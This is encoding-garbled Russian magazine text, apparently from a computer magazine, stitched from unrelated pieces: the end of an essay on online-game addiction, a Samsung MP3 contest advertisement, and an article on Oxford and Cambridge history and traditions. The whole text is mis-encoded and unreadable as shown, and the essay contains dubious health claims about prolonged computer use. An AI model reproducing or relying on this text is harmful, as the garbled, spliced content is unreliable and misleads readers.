ñ÷èòàòü åãî ñâîåé íåî-
òúåìëåìîé ÷àñòüþ. Âî
ìíîãîì òîìó âèíîé �
ëþäè, ñ êîòîðûìè òû
óñïåë ïîçíàêîìèòüñÿ,
ïîäðóæèòüñÿ, ñ êîòî-
ðûìè ïðîøåë îãîíü,
âîäó è ìåäíûå òðóáû.
Áðîñèòü èãðó � çíà-
÷èò íèêîãäà èõ áîëüøå
íå óâèäåòü.
Âñïîìíè Ñàéôåðà èç
ôèëüìà «Ìàòðèöà»,
êàê îí ñèäåë è ðàç-
ìûøëÿë, ÷òî ëó÷øå
� ïå÷àëüíàÿ äåé-

ñòâèòåëüíîñòü èëè ñëàäêèé ìèð ãðåç. Òàê è
çäåñü. Ñ îäíîé ñòîðîíû, ó÷åáà/ðàáîòà, êîòî-
ðûå òåáå íàñêó÷èëè, ëþäè, òåáå íå èíòåðåñ-
íûå, íî ñ êîòîðûìè ïðèõîäèòñÿ îáùàòüñÿ,
îáÿçàííîñòè, êîòîðûå âîïðåêè ñâîåìó æåëà-
íèþ ïðèõîäèòñÿ èñïîëíÿòü. Ñ äðóãîé � ìèð,
êîòîðûé äàåò òåáå ñâîáîäó îò âñåãî ýòîãî. Î
òîì, ÷òî âèðòóàëüíûå ìèðû ðåàëüíûì ïðåä-
ïî÷èòàþò èñêëþ÷èòåëüíî çàêîìïëåêñîâàííûå

ïîäðîñòêè, ó êîòîðûõ íè÷åãî íåò â ðåàëå, ãîâîðÿò îáû÷íî òå, êòî ïî-
íÿòèÿ îá ýòîì íå èìååò. Äëÿ óñïåøíûõ ëþäåé, íåçàâèñèìî îò âîçðà-
ñòà è ïîëà, âèðòóàëüíûé ìèð ïðåäñòàâëÿåò òàêîé æå ñîáëàçí, êàê è
äëÿ âñåõ îñòàëüíûõ. Íóæíî òîëüêî îòêðûòü â íåå äâåðü.
Êîíå÷íî, äëÿ ðåàëüíîé æèçíè ïîñëåäñòâèÿ âèðòóàëüíîé ñòðàñòè ìîãóò
áûòü ïå÷àëüíûìè. Ñðåäè ìîèõ çíàêîìûõ ïî WoW åñòü ëþäè, êîòîðûå çà
ãîä èç-çà óâëå÷åíèÿ èãðîé óñïåëè ðàçîéòèñü ñ æåíîé/äåâóøêîé, áðîñèòü
ðàáîòó/ó÷åáó, êîòîðûå íå âûõîäèëè èç äîìà íåäåëÿìè. Íî ÿ óâåðåí, êîã-
äà îíè â èãðå, îíè çàáûâàþò îáî âñåì. Ïîìíèòñÿ, êòî-òî ïèñàë: «Â öå-
ëîì íåâàæíî, êàê òû æèâåøü, ãëàâíîå, ÷òîáû òû ïîëó÷àë ôàí». Íàñ÷åò
óãðîçû çäîðîâüÿ ó ìåíÿ åñòü ñâîå ìíåíèå. Ìíå êàæåòñÿ, ÷òî îðãàíèçì
÷åëîâåêà � ýòî ìàøèíà, êîòîðàÿ óìååò ïðèâûêàòü êî âñåìó. È ÷åì
äîëüøå òû ðàáîòàåøü çà êîìïüþòåðîì, òåì ñâîáîäíåå òû ÷óâñòâóåøü
ñåáÿ â åãî îáùåñòâå. Ó ëþäåé, êîòîðûå ðåäêî þçàþò PC, îò äâóõ÷àñîâî-
ãî ñèäåíèÿ çà íèì íà÷èíàþò áîëåòü è ñëåçèòüñÿ ãëàçà. Õàðäêîðíûé êîì-
ïüþòåðùèê ìîæåò ïðîñèäåòü çà êîìïüþòåðîì òðîå ñóòîê (ñ ïåðåðûâîì
íà ñîí) è ÷óâñòâîâàòü ñåáÿ ïðåâîñõîäíî.
Â áóäóùåì âèðòóàëüíûé ñèíäðîì ïðèìåò ñîâñåì äðóãèå ìàñøòàáû.
Òîëüêî â World of Warcraft ñåé÷àñ èãðàåò áîëåå 5 ìèëëèîíîâ ëþäåé, è
ýòî ëèøü îäèí èç ñîòåí îíëàéíîâûõ ìèðîâ. MMORPG � äîñòàòî÷íî

ìîëîäîé æàíð è íàõîäèòñÿ íà ðàííåé ñòàäèè
ñâîåãî ðàçâèòèÿ. ×åì äàëüøå è ÷åì ðåàëüíåå
áóäóò èíòåðàêòèâíûå ìèðû, òåì áîëüøå ëþ-
äåé áóäóò óõîäèòü â íèõ ñ ãîëîâîé. ×åðåç ëåò
20 íàñ æäåò òàêîé æå áóì MMORPG, êàê ñåé-
÷àñ � Èíòåðíåòà. È ìàëî êîìó óäàñòñÿ èçáå-
æàòü èñêóøåíèÿ ïî÷óâñòâîâàòü ñåáÿ ÷àñòüþ
ñîâñåì äðóãîé èñòîðèè 

Âðåäíî.ðó � òóò
îáúÿñíÿò, ïî÷åìó
íåëüçÿ ñèäåòü
ñóòêàìè çà êîìïîì

íå äîâîäè ñåáÿ äî
òàêîãî

â âèðòóàëüíîñòè 
òû ìîæåøü ñòàòü
íàñòîÿùèì ãåðîåì
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Êîíêóðñ MP3 MASSIVE ATTACK ïðîäîëæàåòñÿ!
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Â MP3-ÊÎÍÊÓÐÑÅ ÎÒ SAMSUNG È ÆÓÐÍÀËÀ ÕÀÊÅÐ. ÎÒÂÅÒÜ ÍÀ 5 ÂÎÏÐÎÑÎÂ, ÊÀÑÀÞÙÈÕÑß MP3-

ÔÎÐÌÀÒÀ. ÇÀ ÊÀÆÄÛÉ ÏÐÀÂÈËÜÍÛÉ ÎÒÂÅÒ ÒÛ ÏÎËÓ÷ÈØÜ ×ÀÑÒÜ ÊÎÄÎÂÛÉ ÔÐÀÇÛ. ÑÎÁÅÐÈ ÂÑÞ

ÊÎÄÎÂÓÞ ÔÐÀÇÓ ÖÅËÈÊÎÌ, ÒÎÃÄÀ ÒÛ ÏÎËÓ÷ÈØÜ ÁÅÑÏËÀÒÍÛÅ ÌÅÃÀÁÀÉÒÛ MP3-ÌÓÇÛÊÈ ÄËß

ÑÊÀ×ÈÂÀÍÈß, À ÒÀÊÆÅ ÏÐÈÌÅØÜ Ó×ÀÑÒÈÅ Â ÐÎÇÛÃÐÛØÅ 10 MP3-ÏËÅÅÐÎÂ YP-T8.

ÕÎ×ÅØÜ ÏÎËÓ×ÈÒÜ ÁÅÑÏËÀÒÍÎ MP3-ÌÓÇÛÊÓ? ÂÂÅÄÈ ÑÏÅÖÈÀËÜÍÛÉ ÊÎÄ � MMPP33__FFRREEEE__FFOORR__RREEAADDEERRSS ÍÀ ÑÀÉÒÅ

MP3.SAMSUNG.RU È ÒÛ ÏÎËÓ×ÈØÜ 100 MB ÁÅÑÏËÀÒÍÎÉ ÌÓÇÛÊÈ!      

x



êîòîðûõ âàæíûå âîïðîñû ðåøàþòñÿ ñîâìåñòíî ïðåïîäàâàòåëÿìè è
óïîëíîìî÷åííûìè ñòóäåíòàìè. Òàêæå ìíîãèå âûïóñêíèêè è ó÷àùèåñÿ
ñòàðøèõ êóðñîâ ïðèíèìàþò ó÷àñòèå â îáó÷åíèè «ìîëîäûõ». Çàêîíîäà-
òåëüíûì öåíòðîì óíèâåðñèòåòà ÿâëÿåòñÿ Ñåíàò, êóäà âõîäÿò âñå àêàäå-
ìèêè, ïðåïîäàþùèå â Îêñôîðäå.
Ãîä îáó÷åíèÿ â óíèâåðñèòåòå ðàçäåëåí íà òðè ñåìåñòðà ïî 8 íåäåëü êàæ-
äûé: ïåðâûé äëèòñÿ ñ îêòÿáðÿ ïî äåêàáðü, âòîðîé � ñ ÿíâàðÿ ïî ìàðò,
òðåòèé � ñ àïðåëÿ ïî èþíü. Ïðîãðàììà êàæäîãî ñåìåñòðà î÷åíü èíòåí-
ñèâíàÿ è ðàññ÷èòàíà íà òî, ÷òî â ïåðåðûâàõ ìåæäó íèìè ñòóäåíòû áóäóò
òùàòåëüíî ãîòîâèòüñÿ ê ñëåäóþùåìó. Ïðè ïîñòóïëåíèè ìîæíî âûáðàòü
ëþáîé èç 50 êóðñîâ. Çäåñü åñòü êàê îáû÷íûå êóðñû: ìåäèöèíà, õèìèÿ,
èñòîðèÿ èñêóññòâ, êîìïüþòåðíàÿ íàóêà, òàê è óçêîñïåöèàëèçèðîâàííûå:
ôèëîñîôèÿ è òåîëîãèÿ, ýêñïåðèìåíòàëüíàÿ ïñèõîëîãèÿ, àðõåîëîãèÿ è
àíòðîïîëîãèÿ. Ïîìèìî êóðñà ïîñòóïàþùèå ìîãóò âûáðàòü êàìïóñ, â êî-
òîðîì áóäóò «æèòü». Íà ïðîöåññ îáó÷åíèÿ ýòî íå âëèÿåò � êàìïóñû îò-
ëè÷àþòñÿ èíòåðüåðàìè (ïîíÿòíî, ÷òî êàìïóñ, ïîñòðîåííûé 500 ëåò íàçàä
íå ïîõîæ íà òîò, ÷òî ïîñòðîèëè íåäàâíî) è «æèëüöàìè». ×òîáû óïðîñ-
òèòü îáùåíèå ñòóäåíòàì, ìíîãèå êàìïóñû ðàçäåëåíû. Íàïðèìåð, äëÿ çà-
ðóáåæíûõ ñòóäåíòîâ èìååòñÿ ñâîå çäàíèå, äëÿ âûïóñêíèêîâ èçâåñòíûõ
áðèòàíñêèõ êîëëåäæåé � ñâîå.
Ïàðó ñîòåí ëåò íàçàä, ïëàòà çà îáó÷åíèå â Îêñôîðäå áûëà íåäîñòóï-
íîé, åñëè òîëüêî òû íå çàêîí÷èë ïðåñòèæíóþ øêîëó èëè êîëëåäæ.
Åäèíñòâåííûì âàðèàíòîì äëÿ áåäíÿêîâ, ìå÷òàþùèõ âñå-òàêè ïðîéòè
îáó÷åíèå, áûëî îêàçàòüñÿ â óñëóæåíèè ñòóäåíòîâ ñòàðøèõ êóðñîâ è òà-
êèì îáðàçîì ïîëó÷èòü äîñòóï ê ó÷åáíèêàì è ëåêöèÿì. Ñåé÷àñ, ïîñëå
ââåäåíèÿ ðàçíûõ ãðàíòîâ, ïëàòà çà îáó÷åíèå â Îêñôîðäå çàâèñèò îò
çàñëóã è ñïîñîáíîñòåé ñòóäåíòà, à òàêæå îò äîõîäà åãî ñåìüè. Ïåðåä
ïîñòóïëåíèåì ñ êàæäûì ÷åëîâåêîì ïðîâîäèòñÿ äëèòåëüíîå ñîáåñåäî-
âàíèå, âêëþ÷àþùåå òåñòû è èíòåðâüþ. Òàì ó ðåáÿò åñòü âîçìîæíîñòü
ïðîäåìîíñòðèðîâàòü ñâîè çíàíèÿ, ïîêàçàòü ñâîè ðàáîòû, óáåäèòü ïðå-
ïîäàâàòåëåé â ñâîåé ãåíèàëüíîñòè. Ñàìûì îäàðåííûì ñòóäåíòàì ãà-
ðàíòèðîâàíî ìåñòî, äàæå åñëè îíè íå ìîãóò â ïîëíîé ìåðå îïëà÷èâàòü
îáó÷åíèå. Òàêæå èç-çà áîëüøîãî êîëè÷åñòâà ïîñòóïàþùèõ, ðóêîâîä-
ñòâî óíèâåðñèòåòîâ Îêñôîðäà è Êåìáðèäæà îãðàíè÷èëî ïîäà÷ó çàÿâîê
â îáà ýòè âóçà. Â òå÷åíèå ãîäà òû ìîæåøü ïîïûòàòüñÿ ïîñòóïèòü ëèøü
â îäèí èç íèõ. Ïðîùå âñåãî, êîíå÷íî, âûïóñêíèêàì êîëëåäæåé, ãäå çà-
ðàíåå ãîòîâÿò ê âñòóïèòåëüíûì ýêçàìåíàì. Ïðèìåðíî ïîëîâèíà ñòó-
äåíòîâ óíèâåðñèòåòà Îêñôîðäà ñîñòîèò èìåííî èç òàêèõ, êàê èõ íàçû-
âàþò, «ýðóäèòîâ». Íåêîòîðûå äàæå ïðîõîäÿò äîïîëíèòåëüíûé ãîä îáó-
÷åíèÿ, ÷òîáû èìåòü áîëüøå øàíñîâ íà âñòóïèòåëüíûõ òåñòàõ.
Ó÷àùèåñÿ Îêñôîðäà âñåãäà óäåëÿëè áîëüøîå âíèìàíèå ñîöèàëüíûì
çàíÿòèÿì: ñïîðòó, ìóçûêå, èñêóññòâó. Íà òåððèòîðèè óíèâåðñèòåòà ñó-
ùåñòâóåò îãðîìíîå êîëè÷åñòâî êëóáîâ ïî èíòåðåñàì, ñïîðòèâíûõ ñåê-
öèé (òîëüêî èõ áîëåå 70), êðóæêîâ. Åñòü ñòóäåí÷åñêàÿ ðàäèîñòàíöèè è
ïðåññ-öåíòð, â êîòîðîì ïóáëèêóþòñÿ ìåñòíûå ãàçåòû.
Âûïóñêíèêàìè óíèâåðñèòåòà Îêñôîðäà áûëè ìíîãèå èçâåñòíûå ëè÷íîñ-
òè, â òîì ÷èñëå 12 êîðîëåé, 47 íîáåëåâñêèõ ëàóðåàòîâ, 28 ïðåçèäåíòîâ,
áîëåå 50 ïðåìüåð-ìèíèñòðîâ, 86 àðõèåïèñêîïîâ, ðóêîâîäèòåëè êðóïíåé-
øèõ êîìïàíèé ìèðà. Åñëè ãîâîðèòü î êîíêðåòíûõ èìåíàõ, ìîæíî ïðè-
âåñòè â ïðèìåð ñîçäàòåëÿ www Òèìà Áåðíåðñà-Ëè, àêòåðà Õüþ Ãðàíòà,
ïèñàòåëüíèöó Ëüþèñ Êýððîëë, ïîýòåññó Ïåðñè Øåëëè è ìíîãèõ äðóãèõ.
Ñïèñîê çíàìåíèòîñòåé, îêîí÷èâøèõ Îêñôîðä, áåðåæíî âåäåòñÿ íà åãî
îôèöèàëüíîì ñàéòå è ÿâëÿåòñÿ ãîðäîñòüþ óíèâåðñèòåòà.
Â ãîðîäå Îêñôîðä � ïîìèìî îñíîâíîãî óíèâåðñèòåòà � ñóùåñòâóþò
äðóãèå ó÷åáíûå çàâåäåíèÿ. Âòîðûì ïî çíà÷èìîñòè ÿâëÿåòñÿ Îêñôîð-
äñêèé óíèâåðñèòåò Áðóêñà, ïðîçâàííûé «ïîëèòåõîì». Òðåáîâàíèÿ
äëÿ ïîñòóïëåíèÿ òàì ïîïðîùå äà è ó÷åáíàÿ ïðîãðàììà íå òàêàÿ èí-
òåíñèâíàÿ. Îñòàëüíûå èíñòèòóòû ìåíåå èçâåñòíû è íå èìåþò îòíî-
øåíèÿ ê äâóì ýòèì âóçàì, íî ïîëüçóþòñÿ ïîïóëÿðíîñòüþ, òàê êàê èõ
âûïóñêíèêàì ðàçðåøàåòñÿ ãîâîðèòü ðàáîòîäàòåëÿì îá îêîí÷àíèè
Îêñôîðäñêîãî óíèâåðñèòåòà. 

[Óíèâåðñèòåò Êåìáðèäæà] Óíèâåðñèòåò Êåìáðèäæà � âòîðîé ñòà-
ðåéøèé âóç Âåëèêîáðèòàíèè. Êàê óæå áûëî ñêàçàíî, îñíîâàòåëÿìè åãî
ñòàëè ïðåïîäàâàòåëè èç Îêñôîðäà, à ïåðâûé êàìïóñ ïîä íàçâàíèåì Ïå-
òåðõàóç áûë ïîñòðîåí â 1284 ãîäó åïèñêîïîì Õüþõ Áýëøàìîì. Ðàñøè-
ðåíèå óíèâåðñèòåòà è âîçâåäåíèå íîâûõ êàìïóñîâ ñ òåõ ïîð ïðîèñõîäè-
ëî ïîñòîÿííî âïëîòü äî íàøèõ äíåé.
Â Ñðåäíèå âåêà ñòóäåíòû Êåìáðèäæà äîëæíû áûëè ìîëèòüñÿ çà äóøè îñ-
íîâàòåëåé èõ óíèâåðñèòåòà. Ýòî áûëà äàæå íå òðàäèöèÿ, à íåãëàñíûé çà-
êîí, ïîýòîìó âóç ïðè÷èñëÿëè ê àááàòñòâó, à ó÷àùèõñÿ â íåì � ê ñâÿùåííîñ-
ëóæèòåëÿì. Ïîñëå òîãî êàê êîðîëü Ãåíðè VIII ðàñïóñòèë ôàêóëüòåò öåðêîâ-
íîãî ïðàâà, ñòðîãèå öåðêîâíûå îáû÷àè ïðåêðàòèëèñü, è ôîêóñ óíèâåðñèòå-
òà ñìåíèëñÿ â ñòîðîíó áîëåå æèòåéñêèõ íàóê: ìàòåìàòèêè, ôèçèêè, ëèòåðà-
òóðû. Êàê è âî ìíîãèõ äðóãèõ àíãëèéñêèõ èíñòèòóòàõ, â Êåìáðèäæå äîëãîå
âðåìÿ îáó÷àëèñü èñêëþ÷èòåëüíî þíîøè. Òîëüêî â 1869 ãîäó íà åãî òåððè-
òîðèè ïîñòðîèëè ïåðâûé êàìïóñ äëÿ äåâóøåê, íî ïîíàäîáèëîñü åùå ïî÷òè
100 ëåò, ÷òîáû îíè ñìîãëè íàçûâàòü ñåáÿ ïîëíîïðàâíûìè ñòóäåíòêàìè.
Íåñêîëüêî âåêîâ â Êåìáðèäæå ìîãëè ó÷èòüñÿ ïðåèìóùåñòâåííî äåòè áî-
ãà÷åé è ÷èíîâíèêîâ. Íà âñòóïèòåëüíûõ ýêçàìåíàõ òðåáîâàëèñü çíàíèÿ, êî-
òîðûå äàâàëè â âûñîêîîïëà÷èâàåìûõ øêîëàõ è êîëëåäæàõ. Òå, êòî ó÷èë-
ñÿ â îáû÷íîé øêîëå, âûíóæäåíû áûëè èñêàòü èíñòèòóò ïîïðîùå. Ñèñòåìó
ïðèåìà â óíèâåðñèòåò Êåìáðèäæà èçìåíèëè òîëüêî â 1960 ãîäó, è òåïåðü
íå îáÿçàòåëüíî çíàòü ëàòûíü èëè äðóãèå ýêçîòè÷åñêèå ïðåäìåòû, ÷òîáû
ïîïàñòü â ðÿäû ñòóäåíòîâ. Íà òåððèòîðèè Êåìáðèäæñêîãî ñòóäåí÷åñêîãî
ãîðîäêà íàõîäèòñÿ 31 êàìïóñ, â êàæäîì èç êîòîðûõ ñâîè ïðàâèëà ïðèåìà.
Â îäíèõ ïðèíèìàþò òîëüêî âûïóñêíèêîâ îïðåäåëåííûõ øêîë, â äðóãèõ � [X
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òîëüêî àñïèðàíòîâ, â òðåõ êàìïóñàõ ïðèíèìàþò èñêëþ÷èòåëüíî äåâóøåê.
Êîëè÷åñòâî êóðñîâ â Êåìáðèäæå íà 20 ìåíüøå, ÷åì â Îêñôîðäå, îõâà-
òûâàþò îíè îñíîâíûå îáëàñòè çíàíèé. Íî åñòü è ýêçîòèêà. Íàïðèìåð,
êóðñ ïîä äëèííûì íàçâàíèåì: «àíãëî-ñàêñîíñêàÿ, ñêàíäèíàâñêàÿ è êåëü-
òñêàÿ èñòîðèÿ». Èëè «âåòåðèíàðíàÿ ìåäèöèíà».
Óíèâåðñèòåò Êåìáðèäæà èìååò ðåïóòàöèþ îäíîãî èç ëó÷øèõ âóçîâ â ìè-
ðå, ãäå èçó÷àþò íàóêó è òåõíîëîãèè. Îñîáåííî ïðîñëàâèëñÿ â ýòîì ïëà-
íå ÷åòûðåõëåòíèé ìàòåìàòè÷åñêèé êóðñ Part III, êîòîðûé íàñòîëüêî
ñëîæíûé, íàñêîëüêî è ïðåñòèæíûé. Äàæå äëÿ ñàìûõ îäàðåííûõ âûïóñê-
íèêîâ êîëëåäæà, çàêîí÷èâøèõ åãî ñ îòëè÷èåì è ñåðüåçíî óâëåêàþùèõ-
ñÿ ìàòåìàòèêîé, Part III ñòàíîâèòñÿ ñåðüåçíûì èñïûòàíèåì. Áðèòàíñêèå
êîìïàíèè çíàþò îá ýòîì, ïîýòîìó ïðîõîæäåíèå êóðñà â èõ ãëàçàõ ïðè-
ðàâíèâàåòñÿ ê ïîëó÷åíèþ âûñîêîé ñòåïåíè â îäíîì èç äðóãèõ âóçîâ.
Óíèâåðñèòåò òàêæå ñòàë èçëþáëåííûì ìåñòîì äëÿ ÷òåíèÿ ëåêöèé ïðî-
ôåññîðàìè è èññëåäîâàòåëÿìè ñî âñåõ êîíöîâ Åâðîïû. Íåêîòîðûõ ïðèã-
ëàøàþò, ìíîãèå ïðèåçæàþò ñàìè. Òåìû ëåêöèé ìîãóò áûòü ñàìûìè ðàç-
íûìè, îáúåäèíÿåò èõ, êàê ïðàâèëî, ïîëíûé çàë ñëóøàòåëåé.
Â óíèâåðñèòåòå Êåìáðèäæà ñóùåñòâóåò íå ìåíüøå ñîòíè ñòóäåí÷åñêèõ
îðãàíèçàöèé. Êðóïíåéøåé èç íèõ è îäíîé èç ñòàðåéøèõ ñòóäåí÷åñêèõ îð-
ãàíèçàöèé â ìèðå ÿâëÿåòñÿ Îáúåäèíåííûé Ñîþç Êåìáðèäæà. Îñíîâàí îí
áûë â ôåâðàëå 1915 ãîäà êàê íåáîëüøîé êëóá äëÿ îáùåíèÿ, íî áûñòðî
ïðåâðàòèëñÿ âî âëèÿòåëüíóþ îðãàíèçàöèþ, êóäà âõîäèëè ñàìûå óâàæàå-
ìûå æèòåëè Êåìáðèäæà è ãäå îáñóæäàëèñü âñå ãîðÿ÷èå âîïðîñû. Ñåé÷àñ
Ñîþç èìååò ÷åòêóþ ñòðóêòóðó, ðóêîâîäñòâî âî ãëàâå ñ ïðåçèäåíòîì è èã-
ðàåò áîëüøóþ ðîëü â æèçíè óíèâåðñèòåòà. À äåáàòû, ïðîõîäÿùèå âíóò-
ðè, ÷àñòî çàñëóæèâàþò âíèìàíèå âåäóùèõ ãàçåò è æóðíàëîâ ìèðà.
Äðóãàÿ èíòåðåñíàÿ ñòóäåí÷åñêàÿ îðãàíèçàöèÿ � «Àïîñòîëû Êåìáðèäæà».
Ýòî çàêðûòûé è äàæå ñåêðåòíûé èíòåëëåêòóàëüíûé êëóá, êîòîðûé ÿêîáû
ñîñòîèò èç 12 óìíåéøèõ ñòóäåíòîâ óíèâåðñèòåòà. Âñòðå÷è ýòîãî êëóáà
ïðîõîäÿò ïî ñóááîòíèì âå÷åðàì, â ýòî âðåìÿ îäèí èç ó÷àñòíèêîâ ÷èòàåò
ïîäãîòîâëåííóþ ðå÷ü íà ïðîèçâîëüíóþ òåìó, êîòîðàÿ ïîçæå îáñóæäàåòñÿ
âñåìè. Ê ïîòåíöèàëüíûì ÷ëåíàì êëóáà, êîòîðûõ «àïîñòîëû» íàçûâàþò
«ýìáðèîíàìè», äîëãî ïðèñìàòðèâàþòñÿ, è â êîíöå êîíöîâ ïðèãëàøàþò íà
ñïåöèàëüíóþ âå÷åðèíêó. Òàì óæå ðåøàåòñÿ, äîñòîéíû ëè îíè çà÷èñëåíèÿ.
Íà òåððèòîðèè âóçà ïðîõîäèò ìíîãî èíòåðåñíûõ ìåðîïðèÿòèé, èíèöèà-
òîðàìè êîòîðûõ ñòàíîâÿòñÿ ñàìè ñòóäåíòû. Íàïðèìåð, òðàäèöèîííûé
Ìàéñêèé áàë, âðåìåíåì ïðîâåäåíèÿ êîòîðîãî ÿâëÿåòñÿ èþíü (â ìàå èäåò
ó÷åáà). Íà÷èíàåòñÿ îí â 9 âå÷åðà è äëèòñÿ äî ñàìîãî óòðà. Ñòóäåíòû è
ñòóäåíòêè, îäåòûå â êîñòþìû è âå÷åðíèå ïëàòüÿ, ñîáèðàþòñÿ â ñàäó, ïî-
ñâåòñêè îáùàþòñÿ, êàòàþòñÿ íà ãîíäîëàõ. Áèëåò, êñòàòè, ñòîèò íåäåøå-
âî � îò 80 äî 160 ôóíòîâ. Ïîäîáíûå òóñîâêè ïðîõîäÿò êðóãëûé ãîä è äà-
ëåêî íå âñåãäà èìåþò òàêîé ôîðìàëüíûé õàðàêòåð. Íåêîòîðûå áîëüøå
íàïîìèíàþò îïåí-ýéð ñ ýëåêòðîííîé ìóçûêîé è ïèâîì.
Óíèâåðñèòåò Êåìáðèäæà èìååò õîðîøèå îòíîøåíèÿ ñ ëåãåíäàðíûì ÌÒÈ
è òåñíî ñâÿçàí ñ âåäóùèìè êîìïàíèÿìè Âåëèêîáðèòàíèè, ðàáîòàþùèìè â
ñôåðå IT. Íà òåððèòîðèè ãîðîäà åñòü áîëüøîé ðàéîí, ïðîçâàííûé ïî àíà-
ëîãèè ñ Êðåìíèåâîé äîëèíîé, � Êðåìíèåâîå áîëîòî (Silicon Fen). Ìíîãèå
äâèãàòåëè õàé-òåêà èìåþò òàì ñâîè îôèñû è ëàáîðàòîðèè, ïîýòîìó ýòî
ìåñòî ñ÷èòàþò îäíèì èç ñàìûõ âàæíûõ òåõíîëîãè÷åñêèõ öåíòðîâ Åâðîïû.
Ðàçðàáîòêè, êîòîðûå âåäóòñÿ íà òåððèòîðèè «áîëîòà» íàñòîëüêî âàæíû,
÷òî ùåäðî ôèíàíñèðóþòñÿ òàêèìè ìîíñòðàìè, êàê Microsoft è Intel.
[Ëåãåíäû è òðàäèöèè] Èñòîðèÿ äâóõ ñòàðåéøèõ âóçîâ ìèðà ïîëíà ñî-

áûòèé êàê çàáàâíûõ, òàê è äðàìàòè÷åñêèõ. Îäíèì èç ñàìûõ èçâåñòíûõ
ýïèçîäîâ èñòîðèè Îêñôîðäà ñòàëî ïîáîèùå, êîòîðîå ïðîèçîøëî ñ 10 ïî
12 ôåâðàëÿ 1355 ãîäà. Âñå íà÷àëîñü ñî ñïîðà â ãîðîäñêîé òàâåðíå ìåæäó
ãîðîæàíàìè è äâóìÿ ñòóäåíòàìè, êîòîðûå ðàçîøëèñü âî ìíåíèÿõ î êà÷å-
ñòâå ìåñòíîãî ïèâà. Ñëîâåñíàÿ ïåðåïàëêà âñêîðå ïåðåðîñëà â äðàêó. Èí-
öèäåíò ïîñëå ýòîãî íå çàêîí÷èëñÿ: ñîáðàâ òîâàðèùåé è âîîðóæèâøèñü
âñåì, ÷òî ïîä ðóêó ïîäâåðíóëîñü, ñòóäåíòû îòïðàâèëèñü íà ñëåäóþùèé
äåíü â ãîðîä èñêàòü âèíîâíûõ. Ãîðîæàíå áûëè ãîòîâû äàòü îòïîð, êðîâà-
âàÿ ðåçíÿ ïðîäîëæàëàñü äâà äíÿ è çàêîí÷èëàñü ñìåðòüþ 63 ñòóäåíòîâ è
áîëåå 30 ãîðîæàí. Ñ òåõ ïîð 10 ôåâðàëÿ â Îêñôîðäå åæåãîäíî ïðîâîäèë-
ñÿ ìàðø â ïàìÿòü î ïîãèáøèõ, à ðóêîâîäñòâî ãîðîäà òðàäèöèîííî ïëàòè-
ëî øòðàô â 1 ïåííè çà êàæäîãî èç 63 óáèòûõ ñòóäåíòîâ. Çàêîí÷èëàñü ýòà
òðàäèöèÿ â 1825 ãîäó îòêàçîì íîâîãî ìýðà ïðèíèìàòü â íåé ó÷àñòèå.
Ñðåäè ãëàâíûõ äîñòîïðèìå÷àòåëüíîñòåé Êåìáðèäæà ÿâëÿåòñÿ ìàòåìàòè-
÷åñêèé ìîñò. Ïî ëåãåíäå åãî ïîñòðîèë Èñààê Íüþòîí, ïðè÷åì ñîîðóäèë
òàêèì îáðàçîì, ÷òî îí ìîã äåðæàòüñÿ áåçî âñÿêèõ áîëòîâ è øóðóïîâ.
Âïîñëåäñòâèè îêàçàëîñü, ÷òî ýòî íå òàê � ìîñò âîçâåëè 22 ãîäà ñïóñòÿ
ïîñëå ñìåðòè ó÷åíîãî. Äåðæàëñÿ îí òîãäà íà æåëåçíûõ çàêðåïêàõ, êîòî-
ðûå áûëè ïðàêòè÷åñêè íå âèäíû ñî ñòîðîíû, è òîëüêî ïîçæå ðåñòàâðèðî-
âàí ñ èñïîëüçîâàíèåì ñîâðåìåííûõ ìàòåðèàëîâ. Íî èñòîðèÿ î ìîñòå, êî-
òîðûé ïîñòðîèë ñàì Íüþòîí, äî ñèõ ïîð æèâà è ïåðåõîäèò èç óñò â óñòà.
Äðóãîé ëåãåíäîé Êåìáðèäæà, íà ýòîò ðàç ïðàâäèâîé, ÿâëÿåòñÿ èñòîðèÿ
ñ äåðåâÿííûìè ëîæêàìè. Äî 1909 ãîäà èìè íàãðàæäàëè ñòóäåíòîâ, êî-
òîðûå íàáèðàëè ìèíèìàëüíûé áàë íà âûïóñêíîì ýêçàìåíå ïî ìàòåìà-
òèêå. Ïîñëåäíÿÿ ëîæêà äîñòàëàñü íåêîåìó Êàòáåðãó Ëýìïðàåðó, ëþ-
áèâøåìó âîäíóþ ãðåáëþ íàìíîãî áîëüøå óðàâíåíèé. Ïðèç áûë áîëåå
ìåòðà â äëèíó, à ðóêîÿòêà âûïîëíåíà â ôîðìå âåñëà. Çàáàâíàÿ òðàäè-
öèÿ ïðåêðàòèëàñü ïîñëå òîãî, êàê ðåçóëüòàòû ýêçàìåíîâ ñòàëè ïóáëè-
êîâàòüñÿ â àëôàâèòíîì ïîðÿäêå âìåñòî ñïèñêà «îò ëó÷øåãî ê õóäøå-
ìó», ÷òî óñëîæíÿëî îïðåäåëåíèå ïîáåäèòåëÿ.
À â êàíóí Ðîæäåñòâà òåëåêàíàë BBS åæåãîäíî ïåðåäàåò èç Êåìáðèäæà
«Ôåñòèâàëü äåâÿòè óðîêîâ è ïåñåí», êîòîðûé äëÿ õðèñòèàí ñòàë ÷åì-òî
âðîäå «Ãîëóáîãî îãîíüêà» ïîä Íîâûé Ãîä â Ðîññèè. Ýòà òðàäèöèÿ íà÷à-
ëàñü â 1928 ãîäó ñ âûñòóïëåíèÿ ãðóïïû ó÷åíèêîâ ïîä ïðåäâîäèòåëü-
ñòâîì Ýðèêà Ìèëíåðà-Âàéòà, èñïîëíèâøèõ öåðêîâíóþ ñëóæáó â ÷åñòü
Ðîæäåñòâà Õðèñòîâà. È ïðîäîëæàåòñÿ äî ñèõ ïîð.

[Ìíîãîâåêîâîå ïðîòèâîñòîÿíèå] Íà ïðîòÿæåíèè íåñêîëüêèõ âåêîâ
ìåæäó äâóìÿ óíèâåðñèòåòàìè ïðîèñõîäèò ÿðîñòíîå ñîïåðíè÷åñòâî. Â ïåð-
âóþ î÷åðåäü ýòî êàñàåòñÿ ñïîðòà, êîòîðîìó ñòóäåíòû îáîèõ âóçîâ óäåëÿ-
þò ìíîãî ñâîáîäíîãî âðåìåíè. Åæåãîäíûå ñîðåâíîâàíèÿ ïðîâîäÿòñÿ ïî
âîäíîé ãðåáëå, ðåãáè, ôóòáîëó, áàñêåòáîëó, êðèêåòó, áîêñó, øàõìàòàì�
Ïåðâûì ñåðüåçíûì ñòóäåí÷åñêèì òóðíèðîì ñòàë òóðíèð ïî êðèêåòó,
êîòîðûé ñîñòîÿëñÿ 4 èþíÿ 1827 ãîäà. Íî îñîáóþ ïîïóëÿðíîñòü ñðåäè
